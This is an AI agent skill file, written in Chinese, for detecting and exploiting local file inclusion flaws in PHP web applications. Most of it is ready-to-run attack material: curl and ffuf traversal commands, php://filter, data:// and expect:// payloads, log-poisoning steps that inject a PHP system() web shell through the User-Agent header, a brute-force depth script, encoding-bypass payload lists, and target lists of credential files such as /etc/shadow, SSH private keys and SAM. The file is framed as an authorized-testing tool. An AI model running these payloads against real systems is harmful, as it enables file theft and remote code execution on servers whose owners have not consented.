skills/exploit-lfi/SKILL.md
本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。
npx skillsauth add 0X6C7879/aegissec exploit-lfiInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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本 Skill 专注于本地文件包含 (LFI) 类型漏洞的检测与利用。
LFI 漏洞发生在应用程序将用户输入直接用作文件路径或在未正确验证的情况下包含文件时。攻击者可通过路径遍历或伪协议读取敏感文件、执行任意代码。
与 exploit-file-download 的区别:
自动识别以下 LFI 特征:
file、page、include、dir、document、path、content、title等include() 或require() 的文件路径../ 序列用于遍历目录php://filter、php://input、data:、expect:// 等测试时自动识别目标 OS:
| OS | 特征文件 | 测试路径 |
|-----|----------|---------|
| Linux | /etc/passwd 内容:root:x:0:0: | /etc/passwd, /etc/shadow |
| Windows | C:\Windows\win.ini 内容:[fonts], [extensions] | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
| 类型 | Payload | 适用场景 |
|------|------|--------|
| 路径遍历 | ?title=../../../etc/passwd | 基础目录遍历 |
| 伪协议读取 | ?file=php://filter/convert.base64-encode/resource=/etc/passwd | 读取敏感文件源码 |
| 数据注入 | ?file=data://text/plain;base64,PD9waHAgc3l... | 代码注入 |
| 命令执行 | ?file=expect://ls | RCE(需 expect 扩展) |
php://filter 读取 PHP 源码进行分析# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"
# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 等待日志写入后包含日志文件
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
# 步骤 1: 在 User-Agent 注入代码
curl -A "<?php system(\$_GET['c']); ?>" "https://target.com/page.php"
# 步骤 2: 包含环境变量文件
curl "https://target.com/page.php?file=/proc/self/environ&c=id"
# 查看当前进程环境
curl "https://target.com/page.php?file=/proc/self/cmdline"
# 上传包含 PHP 代码的图片
curl -F "[email protected]" "https://target.com/upload.php"
# 快速枚举临时文件
for i in {1..100}; do
curl "https://target.com/vul.php?file=/tmp/php$i";
done
| 场景 | 推荐工具 | 命令示例 |
|------|----------|----------|
| 快速单点测试 | curl | curl "URL?file=../etc/passwd" |
| 批量 Payload 测试 | ffuf | ffuf -u URL -w payloads.txt |
| 深度测试 | 自定义脚本 | 见下方深度测试脚本 |
| 响应分析 | grep/diff | grep -i "root:x:0" response.txt |
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
# 系统用户
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers
# Web 配置
/var/www/html/wp-config.php
/var/www/html/.env
/var/www/html/config/database.yml
/var/www/html/application/config/parameters.yml
# SSH 密钥
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
/root/.ssh/authorized_keys
# 日志
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\config\SAM
# Web 配置
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\.env
C:\xampp\htdocs\config.php
# IIS 日志
C:\inetpub\logs\LogFiles\
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
如果主要工具不可用,可以使用以下替代方案:
| 主要工具 | 替代方案 | 说明 |
|----------|----------|------|
| curl | wget | wget -qO- "URL" 等同于curl -s "URL" |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
references/lfi_techniques.md - LFI 完整技术详解references/php_wrappers.md - PHP wrapper 参考references/bypass_techniques.md - 编码和过滤绕过references/rce_methods.md - 远程代码执行汇总发现 LFI 漏洞后,可以存储到数据库:
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
数据库位置: ./data/results.db
相关技能: results-storage - 查询数据、生成报告
本 Skill 仅用于授权安全测试。使用前请确保:
未经授权的渗透测试是非法行为。
最后更新: 2026-03-05 版本: 2.0
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